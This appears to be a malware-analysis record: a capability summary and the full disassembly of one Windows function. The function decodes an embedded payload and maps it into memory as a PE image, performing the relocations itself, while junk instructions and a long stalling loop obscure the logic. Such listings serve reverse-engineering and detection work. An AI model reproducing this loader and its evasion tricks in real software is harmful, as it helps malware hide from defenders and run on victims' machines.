Function at 0x4023e5
Capabilities:
Create thread
Encode data using base64
Enumerate pe sections
Inspect section memory permissions
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
mov eax, 0x4a9bc
call fcn.004082a0
sub esp, eax
fld dword [0x4a2a9c]
fstp dword [ebp - 0x4c]
fld dword [0x4a2aa0]
fstp dword [ebp - 0x4c]
fld dword [0x4a2aa4]
fstp dword [ebp - 0x4c]
mov eax, 1
test al, al
je 0x40242d
fld dword [0x4a2aa8]
fstp dword [ebp - 0x4c]
fld dword [0x4a2aac]
fstp dword [ebp - 0x4c]
fld dword [0x4a2ab0]
fstp dword [ebp - 0x4c]
mov eax, 1
test al, al
je 0x402451
fld dword [0x4a2ab4]
fstp dword [ebp - 0x4c]
fld dword [0x4a2ab8]
fstp dword [ebp - 0x4c]
fld dword [0x4a2abc]
fstp dword [ebp - 0x4c]
mov eax, 1
test al, al
je 0x402475
fld dword [0x4a2ac0]
fstp dword [ebp - 0x4c]
fld dword [0x4a2ac4]
fstp dword [ebp - 0x4c]
fld dword [0x4a2ac8]
fstp dword [ebp - 0x4c]
mov eax, 1
test al, al
je 0x402499
fld dword [0x4a2acc]
fstp dword [ebp - 0x4c]
fld dword [0x4a2ad0]
fstp dword [ebp - 0x4c]
fld dword [0x4a2ad4]
fstp dword [ebp - 0x4c]
mov eax, 1
test al, al
je 0x4024bd
fld dword [0x4a2ad8]
fstp dword [ebp - 0x4c]
fld dword [0x4a2adc]
fstp dword [ebp - 0x4c]
fld dword [0x4a2ae0]
fstp dword [ebp - 0x50]
fld dword [0x4a2ae4]
fstp dword [ebp - 0x50]
fld dword [0x4a2ae8]
fstp dword [ebp - 0x50]
mov eax, 1
test al, al
je 0x4024f3
fld dword [0x4a2aec]
fstp dword [ebp - 0x50]
fld dword [0x4a2af0]
fstp dword [ebp - 0x50]
fld dword [0x4a2af4]
fstp dword [ebp - 0x50]
mov eax, 1
test al, al
je 0x402517
fld dword [0x4a2af8]
fstp dword [ebp - 0x50]
fld dword [0x4a2afc]
fstp dword [ebp - 0x50]
fld dword [0x4a2b00]
fstp dword [ebp - 0x50]
mov eax, 1
test al, al
je 0x40253b
fld dword [0x4a2b04]
fstp dword [ebp - 0x50]
fld dword [0x4a2b08]
fstp dword [ebp - 0x50]
fld dword [0x4a2b0c]
fstp dword [ebp - 0x50]
mov eax, 1
test al, al
je 0x40255f
fld dword [0x4a2b10]
fstp dword [ebp - 0x50]
fld dword [0x4a2b14]
fstp dword [ebp - 0x50]
fld dword [0x4a2b18]
fstp dword [ebp - 0x50]
mov eax, 1
test al, al
je 0x402583
fld dword [0x4a2b1c]
fstp dword [ebp - 0x50]
fld dword [0x4a2b20]
fstp dword [ebp - 0x50]
fld dword [0x4a2b24]
fstp dword [ebp - 0x54]
fld dword [0x4a2b28]
fstp dword [ebp - 0x54]
fld dword [0x4a2b2c]
fstp dword [ebp - 0x54]
mov eax, 1
test al, al
je 0x4025b9
fld dword [0x4a2b30]
fstp dword [ebp - 0x54]
fld dword [0x4a2b34]
fstp dword [ebp - 0x54]
fld dword [0x4a2b38]
fstp dword [ebp - 0x54]
mov eax, 1
test al, al
je 0x4025dd
fld dword [0x4a2b3c]
fstp dword [ebp - 0x54]
fld dword [0x4a2b40]
fstp dword [ebp - 0x54]
fld dword [0x4a2b44]
fstp dword [ebp - 0x54]
mov eax, 1
test al, al
je 0x402601
fld dword [0x4a2b48]
fstp dword [ebp - 0x54]
fld dword [0x4a2b4c]
fstp dword [ebp - 0x54]
fld dword [0x4a2b50]
fstp dword [ebp - 0x54]
mov eax, 1
test al, al
je 0x402625
fld dword [0x4a2b54]
fstp dword [ebp - 0x54]
fld dword [0x4a2b58]
fstp dword [ebp - 0x54]
fld dword [0x4a2b5c]
fstp dword [ebp - 0x54]
mov eax, 1
test al, al
je 0x402649
fld dword [0x4a2b60]
fstp dword [ebp - 0x54]
fld dword [0x4a2b64]
fstp dword [ebp - 0x54]
fld dword [0x4a2b68]
fstp dword [ebp - 0x58]
fld dword [0x4a2b6c]
fstp dword [ebp - 0x58]
fld dword [0x4a2b70]
fstp dword [ebp - 0x58]
mov eax, 1
test al, al
je 0x40267f
fld dword [0x4a2b74]
fstp dword [ebp - 0x58]
fld dword [0x4a2b78]
fstp dword [ebp - 0x58]
fld dword [0x4a2b7c]
fstp dword [ebp - 0x58]
mov eax, 1
test al, al
je 0x4026a3
fld dword [0x4a2b80]
fstp dword [ebp - 0x58]
fld dword [0x4a2b84]
fstp dword [ebp - 0x58]
fld dword [0x4a2b88]
fstp dword [ebp - 0x58]
mov eax, 1
test al, al
je 0x4026c7
fld dword [0x4a2b8c]
fstp dword [ebp - 0x58]
fld dword [0x4a2b90]
fstp dword [ebp - 0x58]
fld dword [0x4a2b94]
fstp dword [ebp - 0x58]
mov eax, 1
test al, al
je 0x4026eb
fld dword [0x4a2b98]
fstp dword [ebp - 0x58]
fld dword [0x4a2b9c]
fstp dword [ebp - 0x58]
fld dword [0x4a2ba0]
fstp dword [ebp - 0x58]
mov eax, 1
test al, al
je 0x40270f
fld dword [0x4a2ba4]
fstp dword [ebp - 0x58]
fld dword [0x4a2ba8]
fstp dword [ebp - 0x58]
fld dword [0x4a2bac]
fstp dword [ebp - 0x5c]
fld dword [0x4a2bb0]
fstp dword [ebp - 0x5c]
fld dword [0x4a2bb4]
fstp dword [ebp - 0x5c]
mov eax, 1
test al, al
je 0x402745
fld dword [0x4a2bb8]
fstp dword [ebp - 0x5c]
fld dword [0x4a2bbc]
fstp dword [ebp - 0x5c]
fld dword [0x4a2bc0]
fstp dword [ebp - 0x5c]
mov eax, 1
test al, al
je 0x402769
fld dword [0x4a2bc4]
fstp dword [ebp - 0x5c]
fld dword [0x4a2bc8]
fstp dword [ebp - 0x5c]
fld dword [0x4a2bcc]
fstp dword [ebp - 0x5c]
mov eax, 1
test al, al
je 0x40278d
fld dword [0x4a2bd0]
fstp dword [ebp - 0x5c]
fld dword [0x4a2bd4]
fstp dword [ebp - 0x5c]
fld dword [0x4a2bd8]
fstp dword [ebp - 0x5c]
mov eax, 1
test al, al
je 0x4027b1
fld dword [0x4a2bdc]
fstp dword [ebp - 0x5c]
fld dword [0x4a2be0]
fstp dword [ebp - 0x5c]
fld dword [0x4a2be4]
fstp dword [ebp - 0x5c]
mov eax, 1
test al, al
je 0x4027d5
fld dword [0x4a2be8]
fstp dword [ebp - 0x5c]
fld dword [0x4a2bec]
fstp dword [ebp - 0x5c]
fld dword [0x4a2bf0]
fstp dword [ebp - 0x60]
fld dword [0x4a2bf4]
fstp dword [ebp - 0x60]
fld dword [0x4a2bf8]
fstp dword [ebp - 0x60]
mov eax, 1
test al, al
je 0x40280b
fld dword [0x4a2bfc]
fstp dword [ebp - 0x60]
fld dword [0x4a2c00]
fstp dword [ebp - 0x60]
fld dword [0x4a2c04]
fstp dword [ebp - 0x60]
mov eax, 1
test al, al
je 0x40282f
fld dword [0x4a2c08]
fstp dword [ebp - 0x60]
fld dword [0x4a2c0c]
fstp dword [ebp - 0x60]
fld dword [0x4a2c10]
fstp dword [ebp - 0x60]
mov eax, 1
test al, al
je 0x402853
fld dword [0x4a2c14]
fstp dword [ebp - 0x60]
fld dword [0x4a2c18]
fstp dword [ebp - 0x60]
fld dword [0x4a2c1c]
fstp dword [ebp - 0x60]
mov eax, 1
test al, al
je 0x402877
fld dword [0x4a2c20]
fstp dword [ebp - 0x60]
fld dword [0x4a2c24]
fstp dword [ebp - 0x60]
fld dword [0x4a2c28]
fstp dword [ebp - 0x60]
mov eax, 1
test al, al
je 0x40289b
fld dword [0x4a2c2c]
fstp dword [ebp - 0x60]
fld dword [0x4a2c30]
fstp dword [ebp - 0x60]
fld dword [0x4a2c34]
fstp dword [ebp - 0x64]
fld dword [0x4a2c38]
fstp dword [ebp - 0x64]
fld dword [0x4a2c3c]
fstp dword [ebp - 0x64]
mov eax, 1
test al, al
je 0x4028d1
fld dword [0x4a2c40]
fstp dword [ebp - 0x64]
fld dword [0x4a2c44]
fstp dword [ebp - 0x64]
fld dword [0x4a2c48]
fstp dword [ebp - 0x64]
mov eax, 1
test al, al
je 0x4028f5
fld dword [0x4a2c4c]
fstp dword [ebp - 0x64]
fld dword [0x4a2c50]
fstp dword [ebp - 0x64]
fld dword [0x4a2c54]
fstp dword [ebp - 0x64]
mov eax, 1
test al, al
je 0x402919
fld dword [0x4a2c58]
fstp dword [ebp - 0x64]
fld dword [0x4a2c5c]
fstp dword [ebp - 0x64]
fld dword [0x4a2c60]
fstp dword [ebp - 0x64]
mov eax, 1
test al, al
je 0x40293d
fld dword [0x4a2c64]
fstp dword [ebp - 0x64]
fld dword [0x4a2c68]
fstp dword [ebp - 0x64]
fld dword [0x4a2c6c]
fstp dword [ebp - 0x64]
mov eax, 1
test al, al
je 0x402961
fld dword [0x4a2c70]
fstp dword [ebp - 0x64]
fld dword [0x4a2c74]
fstp dword [ebp - 0x64]
fld dword [0x4a2c78]
fstp dword [ebp - 0x68]
fld dword [0x4a2c7c]
fstp dword [ebp - 0x68]
fld dword [0x4a2c80]
fstp dword [ebp - 0x68]
mov eax, 1
test al, al
je 0x402997
fld dword [0x4a2c84]
fstp dword [ebp - 0x68]
fld dword [0x4a2c88]
fstp dword [ebp - 0x68]
fld dword [0x4a2c8c]
fstp dword [ebp - 0x68]
mov eax, 1
test al, al
je 0x4029bb
fld dword [0x4a2c90]
fstp dword [ebp - 0x68]
fld dword [0x4a2c94]
fstp dword [ebp - 0x68]
fld dword [0x4a2c98]
fstp dword [ebp - 0x68]
mov eax, 1
test al, al
je 0x4029df
fld dword [0x4a2c9c]
fstp dword [ebp - 0x68]
fld dword [0x4a2ca0]
fstp dword [ebp - 0x68]
fld dword [0x4a2ca4]
fstp dword [ebp - 0x68]
mov eax, 1
test al, al
je 0x402a03
fld dword [0x4a2ca8]
fstp dword [ebp - 0x68]
fld dword [0x4a2cac]
fstp dword [ebp - 0x68]
fld dword [0x4a2cb0]
fstp dword [ebp - 0x68]
mov eax, 1
test al, al
je 0x402a27
fld dword [0x4a2cb4]
fstp dword [ebp - 0x68]
fld dword [0x4a2cb8]
fstp dword [ebp - 0x68]
dec esi
neg eax
bswap edx
or eax, 0
dec ebx
sbb edx, 0x20
rcl edi, 0x21
not edx
neg ebx
add edi, 0x44
or edi, 0xc2
neg eax
inc edx
and edx, 0xb
and eax, 0x40
bswap edx
not esi
neg edi
sbb esi, 0xd4
mov edx, 9
sub ebx, 0x60
sub ebx, 0x90
rcl eax, 0x35
add edi, 0x76
add edi, 0xde
dec eax
ror eax, 0x2d
and edi, 0x24
neg esi
bswap edi
rcr eax, 0xc1
bswap edi
or edi, 0x98
rcr ebx, 0xc4
sbb edx, 0xc
sub ebx, 0xae
not edx
add edx, 0xaa
and edi, 0xde
inc esi
inc edx
not ebx
mov eax, 2
inc esi
bswap edx
dec edi
imul edi
not edi
dec ebx
bswap ebx
bswap eax
rol edx, 0xdd
rcr edx, 0x2a
sbb edx, 0x4d
neg edx
dec eax
add edx, 0xc9
and edx, 0x6d
neg esi
sub edx, 0xf3
ror eax, 0x56
neg eax
bswap ebx
add eax, 5
and esi, 0xea
or edi, 0x1b
rcl edx, 0x67
neg ebx
sbb edx, 0xc0
not edx
inc esi
and esi, 0x83
sbb ebx, 0x9e
bswap eax
sbb esi, 0xa3
sbb esi, 0x2c
neg esi
not edx
neg esi
neg esi
sbb edx, 0xac
not esi
not edi
mov ebx, 0x84
or edx, 0x5c
inc ebx
sbb eax, 0x93
inc edx
neg esi
or ebx, 2
inc edx
rcl esi, 0x66
bswap edi
inc esi
and edi, 0xc
sbb edx, 0x71
dec eax
rcl esi, 0xe5
add edi, 0x6c
neg edi
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x20], 0
add esi, 0x43
rol edi, 0xe6
imul eax
ror ebx, 0xda
add eax, 0x31
and eax, 0x5b
bswap edx
not ebx
sub esi, 0x17
not esi
and eax, 0x95
rcr edx, 0xff
dec edi
not edx
sbb esi, 0x8e
neg edx
sbb eax, 0x4d
and edi, 0x31
ror eax, 0x34
ror esi, 0x97
rol esi, 0x1d
rcr edx, 0xac
mov edx, 0x97
rcr esi, 0x64
rcr edi, 0xe6
rcr edi, 0x2a
ror esi, 0x2d
rcl edi, 0xfc
ror ebx, 0xbe
not eax
imul esi
or esi, 0x74
mov edi, 0x22
add esi, 0xc7
dec ebx
bswap edi
sub ebx, 0xf8
not ebx
dec esi
bswap eax
neg esi
sbb esi, 0x4b
bswap esi
neg edi
sbb edi, 0x10
ror eax, 0xa9
not esi
add ebx, 0xec
and esi, 0x9b
dec esi
dec eax
bswap esi
sub ebx, 0x29
bswap edx
inc ebx
or esi, 5
neg esi
add edi, 0x3c
mov edx, 0xce
neg edx
ror edi, 0x82
bswap esi
bswap esi
sbb eax, 0xc3
add eax, 0xd9
sbb esi, 0x85
dec esi
add ebx, 0xc7
neg eax
sbb edi, 0xe7
sub eax, 0x23
bswap edx
ror eax, 0x4c
rcr edx, 0xe1
rcl ebx, 0x6d
sub edx, 0xc7
sbb edi, 0x66
sub edi, 0x38
not ebx
not edx
imul eax
and ebx, 0xd7
dec esi
or esi, 0x7f
add edi, 0x30
neg esi
and edi, 0xac
not eax
or ebx, 0xd5
imul edi
rol ebx, 0x3e
add ebx, 0x83
neg ebx
inc edi
not eax
rcr eax, 0xcb
not esi
neg eax
not edi
sbb esi, 0xf3
dec esi
neg eax
or eax, 0x8d
rcr eax, 0xf5
imul eax
rcl edi, 0x20
or esi, 0x78
bswap edi
inc ebx
neg esi
dec edi
neg ebx
not ebx
dec edi
rcr esi, 0x31
rcr ebx, 0x1c
not esi
bswap edx
bswap ebx
imul ebx
mov esi, 0x30
dec ebx
ror esi, 0xa
mov edi, 0x43
dec edx
ror edi, 0x48
not eax
ror ebx, 0x1f
imul edi
rol edx, 0xd7
mov esi, 0xac
neg ebx
ror edi, 0x95
sbb eax, 0xba
rol esi, 0xf7
bswap esi
dec ebx
ror ebx, 0x3a
sub ebx, 0xcc
inc edi
not edx
or edx, 0xd1
rcl eax, 0xe
dec edx
inc edi
and esi, 0xa7
neg ebx
neg edx
inc eax
neg eax
mov dword [ebp - 0x20], 0
jmp 0x402d17
add dword [ebp - 0x1c], 1
add dword [ebp - 0x20], 1
cmp dword [ebp - 0x20], 0x5f740a4
jle 0x402d0f
cmp dword [ebp - 0x1c], 0x5f740a5
jne 0x404682
lea eax, [ebp - 0x4a8e0]
mov edx, 0x458078
mov ecx, 0x4a800
mov dword [esp + 8], ecx
mov dword [esp + 4], edx
mov dword [esp], eax
call sym._memcpy
mov dword [esp + 4], 0x4a800
lea eax, [ebp - 0x4a8e0]
mov dword [esp], eax
call sym.xjrqowjcrpoqwjrvkjqwkrzoqwbrbqiwv_char__int_
lea eax, [ebp - 0x4a8e0]
mov dword [ebp + 8], eax
rcr edi, 0xda
bswap eax
sbb ebx, 2
dec esi
not ebx
sub esi, 0x3b
add eax, 0x16
imul ebx
add ebx, 0x83
imul edx
rol eax, 0x26
imul edi
sub edi, 0x72
imul eax
rol edi, 0x9f
rol edi, 0x37
imul edx
neg eax
rol esi, 0xa9
sub ebx, 0x42
dec edi
mov esi, 0x72
add edi, 0x43
rcr esi, 0x22
rol edx, 0x4a
sub eax, 0x24
sub edi, 0xe0
ror edx, 0xd8
dec esi
sbb edx, 0xb6
bswap edi
or edi, 0x3f
dec edx
or edx, 0x1c
neg edx
bswap ebx
and edi, 0xf8
mov edi, 0x4b
mov esi, 0x9d
sub ebx, 0x26
not esi
mov edi, 0xbc
not esi
bswap edx
imul eax
not eax
and esi, 0x70
dec edx
rol eax, 0x19
bswap edx
sub edx, 0xa6
and eax, 0xd0
rcr edx, 0x4b
neg ebx
not esi
sbb esi, 0xb5
neg edi
and edx, 0xd3
dec edx
neg ebx
inc esi
rcl eax, 0x64
sub edi, 0x97
rcr edi, 0x34
and eax, 0x95
dec edx
rol eax, 0x11
sub eax, 0xa
rcl eax, 0xac
dec eax
not edx
inc esi
bswap eax
neg esi
neg edi
ror esi, 0xcc
not esi
bswap edx
dec eax
mov edi, 0xf4
or ebx, 0xd7
sub edx, 0x53
imul edi
neg eax
dec edi
mov esi, 0x87
ror eax, 8
imul edi
inc edx
neg eax
ror eax, 0xb
rcr eax, 4
inc ebx
not edx
rol ebx, 0xfc
rcl edi, 0xed
dec eax
ror edx, 0xff
and edi, 0xb3
neg edi
mov eax, dword [ebp + 8]
mov dword [ebp - 0x6c], eax
mov eax, dword [ebp - 0x6c]
mov eax, dword [eax + 0x3c]
mov edx, eax
mov eax, dword [ebp + 8]
add eax, edx
mov dword [ebp - 0x70], eax
sub edi, 0x53
add ebx, 0xc2
not eax
rol eax, 0x32
sub edi, 0xe6
sbb eax, 0xca
sub eax, 0x95
inc eax
rol eax, 0x6d
dec edx
imul edx
imul ebx
sub edx, 0x7e
sub esi, 0xbf
add eax, 0x46
or eax, 0x5a
inc ebx
inc esi
mov esi, 0x12
or eax, 0xce
imul eax
sbb esi, 0xdd
imul edi
imul edi
not edi
sbb edx, 0x89
ror edx, 0xc5
not edx
add edi, 0xa2
sbb ebx, 4
dec edi
not ebx
bswap eax
rcl edx, 9
dec ebx
rcl ebx, 5
inc edi
rol edi, 0xf0
imul ebx
neg edx
rcl eax, 0xe4
rol ebx, 0xe7
or edi, 0x4e
imul esi
ror edi, 0xc9
dec eax
or edi, 0x28
not eax
sbb esi, 0x96
add esi, 0x70
mov eax, dword [ebp - 0x70]
mov eax, dword [eax]
cmp eax, 0x4550
je 0x402f48
mov eax, 1
jmp 0x404687
mov dword [ebp - 0xcc], 0
mov dword [ebp - 0xc8], 0
mov dword [ebp - 0xc4], 0
mov dword [ebp - 0xc0], 0
lea edx, [ebp - 0x4a99c]
mov eax, 0
mov ecx, 0x11
mov edi, edx
rep stosd dword es:[edi], eax
dec edx
not esi
imul ebx
not edi
rol eax, 0xb6
rcr esi, 0xc7
bswap eax
rcr eax, 0x7d
bswap edi
rol edi, 0x68
not esi
inc esi
not eax
dec eax
rcr esi, 0x22
imul ebx
rcl edx, 0xfe
not edx
dec edx
not edi
or eax, 0xba
ror esi, 0x2f
sbb edx, 0xf
imul edi
sbb eax, 0x7d
rcr esi, 0x55
or eax, 0xe
add esi, 0xfa
add edx, 0xb0
rcl ebx, 0x27
bswap ebx
dec esi
or edx, 0xc9
add esi, 0x58
ror ebx, 0x63
rol eax, 0x3c
add ebx, 0xbd
neg edi
mov esi, 0x32
rol ebx, 0x71
dec ebx
not edi
rcl edx, 0x48
rcl ebx, 0xc1
rol esi, 0xa5
bswap edi
mov eax, 0x41
rcr edi, 0x73
ror esi, 0xe6
or edx, 0xfd
mov dword [ebp - 0x4a99c], 0x44
mov eax, dword [ebp - 0x70]
mov edx, dword [eax + 0xa4]
mov eax, dword [eax + 0xa0]
mov dword [ebp - 0xd4], eax
mov dword [ebp - 0xd0], edx
mov eax, dword [ebp - 0x70]
mov eax, dword [eax + 0x50]
mov edx, dword [ebp - 0xd0]
test edx, edx
jne 0x403051
mov edx, dword [ebp - 0x70]
mov edx, dword [edx + 0x34]
jmp 0x403056
mov edx, 0
mov dword [esp + 0xc], 4
mov dword [esp + 8], 0x3000
mov dword [esp + 4], eax
mov dword [esp], edx
mov eax, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
call eax
sub esp, 0x10
mov dword [ebp - 0x74], eax
mov eax, dword [ebp - 0xd0]
test eax, eax
jne 0x403099
mov eax, dword [ebp - 0x70]
mov eax, dword [eax + 0x34]
cmp dword [ebp - 0x74], eax
je 0x403099
mov eax, 2
jmp 0x404687
neg eax
ror esi, 0
neg edi
imul ebx
not ebx
add eax, 0x9b
rol edx, 0xa2
mov eax, 0x78
sbb ebx, 0xe7
sub ebx, 0xbc
inc eax
rcl eax, 0x58
dec eax
and ebx, 0xfb
not edi
sub esi, 0x96
rcl edx, 0x8b
neg eax
or edx, 0x44
rcl edx, 0xca
dec edx
rol ebx, 0xe6
and eax, 0xa6
imul esi
rcl esi, 0xbe
neg edi
not edi
sub edx, 0x12
mov esi, 0xdf
rcr esi, 9
rol eax, 0xce
rol edx, 0x4b
rol edi, 0xb2
neg eax
ror eax, 3
not edx
rcr edx, 0x2e
rcr edi, 0x3d
add esi, 0x3b
sbb edi, 0x60
inc edx
bswap eax
imul edi
rcl eax, 0x99
rcr eax, 0xc4
imul eax
bswap ebx
mov edx, 0xfd
inc edi
mov edi, 0xbd
not ebx
inc edx
bswap eax
neg esi
dec edx
mov edx, 6
and esi, 0x97
dec esi
not eax
ror edx, 0x5e
and ebx, 0xf3
rcr edi, 0xd6
bswap edi
or eax, 0x18
inc esi
bswap edi
bswap edi
and edx, 0xcb
neg eax
bswap edi
inc ebx
inc edx
mov eax, 0x52
inc ebx
dec edi
bswap ebx
neg ebx
rcr edx, 0x40
or esi, 0x8e
add edx, 0x3e
mov edx, 6
rcr esi, 0x2f
ror edi, 0
ror eax, 0x47
bswap eax
sbb edx, 0x88
rol esi, 0xef
neg eax
add edi, 0x9b
add eax, 0x14
mov edx, 0x47
neg edx
bswap ebx
bswap ebx
neg edi
inc edx
and ebx, 0xd0
not esi
sbb edx, 0x56
rol edi, 0xc4
bswap ebx
imul edx
inc esi
sbb edx, 0x27
or edi, 0x42
inc eax
imul edx
neg ebx
and esi, 0x10
imul edx
imul esi
dec eax
and esi, 0x63
add ebx, 0x23
imul ebx
mov eax, 0xdf
and edx, 0xe5
neg edi
dec edx
not edx
and ebx, 6
imul ebx
or edi, 0xcf
or esi, 0xa8
mov esi, 0x1f
or ebx, 0x80
or edi, 0x45
inc edx
bswap edi
or edx, 0x3e
sbb esi, 0x59
and edx, 9
not ebx
imul esi
rol ebx, 0xb5
sub edi, 0xb2
rcl edi, 2
neg esi
ror ebx, 0x16
not edi
not edx
rcr esi, 0x6c
imul esi
inc esi
rcl edx, 0xd
neg ebx
not esi
inc ebx
neg edx
or eax, 0xe1
mov eax, dword [ebp - 0x74]
mov dword [esp + 8], 0x400
mov edx, dword [ebp + 8]
mov dword [esp + 4], edx
mov dword [esp], eax
call sym._memcpy
bswap edx
neg edx
neg edx
and eax, 0xfa
or edi, 0x27
mov edx, 0x2e
inc esi
sub eax, 0xb3
neg edi
inc edi
not eax
and ebx, 0x8b
inc ebx
bswap ebx
inc eax
rcl edi, 0x7d
rcl eax, 0xce
bswap edi
add edx, 0x96
inc esi
or ebx, 0x1e
or esi, 0x6b
not esi
sbb edi, 0x3c
bswap edi
not esi
dec edx
add ebx, 0x95
inc edx
bswap eax
dec esi
rol edi, 0x19
sbb edi, 0x46
dec eax
rcr esi, 0xaf
and esi, 0x1f
and esi, 8
not eax
bswap ebx
rcr edx, 0x92
add eax, 0x92
bswap ebx
sub esi, 0x64
sub edi, 0xe4
neg ebx
or ebx, 0x2a
dec edi
not eax
sbb esi, 0x7b
add edi, 0x87
sub esi, 0x7a
rcr edx, 0xed
sub eax, 0x71
not ebx
bswap edx
inc edx
neg ebx
and edx, 0x15
or edx, 0x82
mov eax, 0xd
not edi
neg esi
inc edi
rcr edi, 0x47
add esi, 0x44
rcr edx, 0xce
add edi, 7
rol edx, 0x47
ror edx, 0xec
neg edi
or eax, 0x85
neg eax
sbb esi, 0xd7
inc edi
rcl eax, 0xe5
ror esi, 0x6c
imul esi
rol edx, 0xca
neg edx
not edi
add ebx, 0xc2
ror edx, 0x69
inc edi
rcr esi, 0x39
rol ebx, 0x2b
ror eax, 0x5f
and edx, 0x59
mov edx, 0xb6
and edx, 0xf4
sbb edi, 0x30
rcl eax, 0xf8
imul ebx
bswap eax
imul edi
dec eax
add eax, 0xd2
mov eax, 0xef
dec eax
not edi
ror edx, 0xab
or ebx, 0xa4
neg ebx
mov edi, 0xe6
neg eax
rcr ebx, 0x85
rcl ebx, 0x56
not eax
not ebx
imul eax
not edx
rcr esi, 0x8d
inc eax
not eax
rol esi, 0xdb
dec edi
or edx, 0xb3
neg edi
not edx
not ebx
mov eax, 0xb6
neg esi
sbb esi, 0x11
sub edi, 0x6c
rcr ebx, 0x75
neg edi
mov eax, 0xbc
bswap edi
not ebx
not esi
not eax
bswap esi
rol edx, 0xce
not esi
add eax, 0xbd
sbb esi, 0x70
rcl edi, 0x42
not eax
imul esi
neg edi
sub esi, 0xcb
imul eax
sub eax, 0xd6
sbb ebx, 1
add edx, 0x2d
mov esi, 0x2e
neg esi
rol eax, 0x76
inc edx
rcr edx, 2
ror ebx, 4
mov eax, dword [ebp - 0x70]
movzx eax, word [eax + 0x14]
movzx edx, ax
mov eax, dword [ebp - 0x70]
add eax, edx
add eax, 0x18
mov dword [ebp - 0x78], eax
mov dword [ebp - 0x24], 0
jmp 0x40348c
mov edx, dword [ebp - 0x24]
mov eax, edx
shl eax, 2
add eax, edx
shl eax, 3
mov edx, eax
mov eax, dword [ebp - 0x78]
add eax, edx
mov ecx, dword [eax + 0x10]
mov edx, dword [ebp - 0x24]
mov eax, edx
shl eax, 2
add eax, edx
shl eax, 3
mov edx, eax
mov eax, dword [ebp - 0x78]
add eax, edx
mov edx, dword [eax + 0x14]
mov eax, dword [ebp + 8]
add eax, edx
mov ebx, eax
mov edx, dword [ebp - 0x24]
mov eax, edx
shl eax, 2
add eax, edx
shl eax, 3
mov edx, eax
mov eax, dword [ebp - 0x78]
add eax, edx
mov edx, dword [eax + 0xc]
mov eax, dword [ebp - 0x74]
add eax, edx
mov dword [esp + 8], ecx
mov dword [esp + 4], ebx
mov dword [esp], eax
call sym._memcpy
add dword [ebp - 0x24], 1
mov eax, dword [ebp - 0x70]
movzx eax, word [eax + 6]
movzx eax, ax
cmp dword [ebp - 0x24], eax
jl 0x403427
ror ebx, 0x3f
or ebx, 0x43
rcr eax, 0xff
bswap edi
mov edi, 0xaa
not edx
or ebx, 0x19
rol edi, 0x89
not edx
dec esi
rol esi, 0x14
or esi, 0x65
bswap edx
inc eax
or edi, 0xf8
and ebx, 0xba
ror edx, 0xd3
bswap esi
imul eax
sbb esi, 0xb8
ror edx, 0x46
and edi, 0x42
sbb esi, 0x19
mov edi, 0x4b
bswap edi
or esi, 0x5e
and edi, 0x27
bswap esi
sbb eax, 1
sub ebx, 0x60
ror edx, 0x66
imul edx
rcl esi, 0x86
or eax, 0xd8
neg edx
dec edi
bswap edx
rcr edi, 0xef
not edx
not eax
rcr ebx, 8
sbb edx, 0xa
rcl eax, 0xbe
rcr eax, 0x69
not edi
inc eax
sbb edi, 0xf4
dec eax
add edi, 0x2d
or edi, 0xc2
bswap edi
sbb eax, 0x41
not edi
dec esi
neg ebx
sbb esi, 3
sbb edi, 0xc7
bswap edx
imul edi
bswap edi
imul esi
dec edx
bswap ebx
or edx, 0xd7
bswap edi
bswap ebx
add edx, 0x16
neg esi
sbb edx, 0xd
sub edi, 0x8d
rcl edx, 0xa5
imul eax
mov edx, 0x69
sbb eax, 0xa8
dec ebx
imul ebx
mov edx, 0x2f
neg edx
inc edx
neg ebx
rcr eax, 0xfd
ror edi, 0x94
not eax
not edi
sub edx, 0xb8
not edi
neg edi
rcr esi, 0x7d
add edi, 0x34
imul edx
ror eax, 0x49
rcl eax, 0x33
mov edx, 0xae
ror eax, 0x41
inc esi
imul eax
not eax
dec eax
dec edx
sub ebx, 0x6d
mov eax, dword [ebp - 0x70]
mov eax, dword [eax + 0x34]
cmp dword [ebp - 0x74], eax
je 0x40369c
mov eax, dword [ebp - 0x70]
mov eax, dword [eax + 0x34]
mov edx, dword [ebp - 0x74]
sub edx, eax
mov dword [ebp - 0x7c], edx
mov edx, dword [ebp - 0xd4]
mov eax, dword [ebp - 0x74]
add eax, edx
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x2c], 0
jmp 0x40368b
mov eax, dword [ebp - 0x28]
mov edx, dword [eax]
mov eax, dword [ebp - 0x74]
add eax, edx
mov dword [ebp - 0x80], eax
mov eax, dword [ebp - 0x28]
mov eax, dword [eax + 4]
sub eax, 8
shr eax, 1
mov dword [ebp - 0x84], eax
mov eax, dword [ebp - 0x28]
add eax, 8
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x34], 0
jmp 0x40366c
mov eax, dword [ebp - 0x30]
movzx eax, word [eax]
shr ax, 0xc
movzx eax, ax
and eax, 3
test eax, eax
je 0x403664
mov eax, dword [ebp - 0x30]
movzx eax, word [eax]
movzx eax, ax
and eax, 0xfff
mov edx, eax
mov eax, dword [ebp - 0x80]
add eax, edx
mov edx, dword [eax]
mov eax, dword [ebp - 0x30]
movzx eax, word [eax]
movzx eax, ax
and eax, 0xfff
mov ecx, eax
mov eax, dword [ebp - 0x80]
add eax, ecx
mov ecx, eax
mov eax, dword [ebp - 0x7c]
add eax, edx
mov dword [ecx], eax
add dword [ebp - 0x30], 2
add dword [ebp - 0x34], 1
mov eax, dword [ebp - 0x34]
cmp eax, dword [ebp - 0x84]
jl 0x40361b
mov eax, dword [ebp - 0x28]
mov edx, dword [eax + 4]
mov eax, dword [ebp - 0x2c]
add eax, edx
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0xd0]
mov edx, dword [ebp - 0x2c]
cmp edx, eax
jb 0x4035eb
dec ebx
not edx
not esi
mov edi, 0xe7
not eax
mov esi, 0xb
neg eax
dec edx
dec edx
rcr edi, 0x57
neg edi
dec ebx
mov edi, 0xb4
sub ebx, 0xd4
bswap edi
bswap eax
imul edx
bswap ebx
imul ebx
not eax
not esi
sub eax, 0xba
not edi
mov esi, 0xce
inc eax
rcr ebx, 0x1c
rcl ebx, 0x83
ror ebx, 0x9e
neg eax
sbb edi, 0x58
and eax, 0xcf
and edi, 0x55
dec edi
and eax, 0x85
imul ebx
rcr esi, 0
inc eax
